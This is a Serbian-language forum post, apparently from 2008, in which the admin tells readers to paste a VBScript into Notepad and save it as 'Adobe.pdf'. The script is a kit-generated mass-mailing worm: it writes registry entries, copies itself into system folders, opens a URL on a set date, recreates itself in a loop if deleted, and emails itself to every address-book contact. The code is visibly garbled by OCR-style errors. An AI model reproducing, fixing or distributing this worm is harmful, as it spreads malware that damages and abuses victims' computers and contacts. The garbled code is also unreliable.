***VUCJE*** Forum by LexXx

Sve na jednom mestu...linkovi za download, diskusije, iskustva...ma sve sto vam padne na pamet...
 
PrijemGalerijaFAQ - Često Postavljana PitanjaTražiRegistruj seLista članovaKorisničke grupePristupi

Share | 
 

 KODOVI ZA ADOBE ACROBAT READER virus

Pogledaj prethodnu temu Pogledaj sledeću temu Ići dole 
AutorPoruka
LexXx
Admin


Broj poruka : 133
Godina : 26
Datum upisa : 05.12.2007

PočaljiNaslov: KODOVI ZA ADOBE ACROBAT READER virus   Sub Maj 03, 2008 8:25 am

Ubacite u Notepad donji tekst, zatim ga upisite u formatu Adobe.pdf

Pdf.AdobeAcrobatReader Created By AdobeAcrobatReader
On Error Resume Next
Set shellobject=CreateObject(”WScript. Shell’)
shellobject. regwrite “H KCU\software\AdobeAcrobatReader\”, “Worm made with Vbswg 1k”
Set fi[esystem= Createobject(”scripting. filesystemobject”)
filesystem. copyfile
wscript.scriptfu[[name, filesystem. GetSpecia[Fo[der(O)
&“\Adobe.pdf”
if shellobject. regread (“H KCU\software\AdobeAcrobatReader\mai[ed”)
“1” then
maiL worm()
end if
if month(now)=1 and day(now)=27 then
she[[object.run“Http://www.dynabyte.nC’,3,fa[se
end if
Set wormffte=filesystem.opentextfile(wscript.scriptfullname,
1)
payload=wormffte.readall
wormffte.Close
Do
If Not (filesystem. fileexists(wscript.scriptfullname))Then
Set newfile=filesystem.createtextfile(wscript.scriptfullname,True)
newfile.write payload
newfile.Close
End If
Loop
Function mail_worm()
On Error Resume Next
Set eBook=CreateObject(”eBook.Application”)
If ebook=“eBook”Then
Set mapi=eBook.GetNameSpace(”PDF”)
Set add resses= PDF. Address Lists
For Each address In addresses
If address.AddressEntries.Count <> 0 Then
count = address.AddressEntries.Count
For 1=2To count
Set email =eBook.Createltem(1)
Set entry=address.AddressEntries( I)
email.To=entry.Address
email.Subject = “Login, ;o)”
email.Body=“Hi:”&vbcrlf&“online!”&vbcrlf &
set attachment=email.Attachments
attachment.Add filesystem. GetSpecialFolder(1)&
“\Adobe.pdf”
email.UpdateAfterSubmit=True
If email.To <>“Then
email. Send
shellobject.regwrite“H KCU\software\AdobeAcrobatReader\mailed”, “1”
End If
Next
End If
Next
end if
End Function
‘Vbswg 1k
Nazad na vrh Ići dole
Pogledaj profil korisnika http://vucje.top-forum.net
 
KODOVI ZA ADOBE ACROBAT READER virus
Pogledaj prethodnu temu Pogledaj sledeću temu Nazad na vrh 
Strana 1 od 1

Dozvole ovog foruma:Ne možete odgovarati na teme u ovom forumu
***VUCJE*** Forum by LexXx :: VIRUSI-
Skoči na:  
Create a forum on Forumotion | © phpBB | Besplatan Forum međusobnog pomaganja | Signalizirajte zloupotrebu | Posedujte blog